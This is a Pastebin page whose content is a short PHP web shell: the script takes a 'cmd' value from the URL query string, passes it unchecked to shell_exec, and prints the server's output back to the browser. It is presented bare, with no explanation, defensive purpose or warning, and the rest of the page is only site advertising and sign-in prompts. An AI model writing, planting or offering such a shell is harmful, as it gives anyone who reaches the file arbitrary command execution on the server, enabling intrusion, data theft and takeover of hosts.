Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $cmd=$_GET['cmd'];
- echo "Command: " . $cmd;
- if ($cmd != "")
- {
- $output = shell_exec($cmd);
- echo "<pre>$output</pre>";
- }
- else
- {
- echo "no command";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement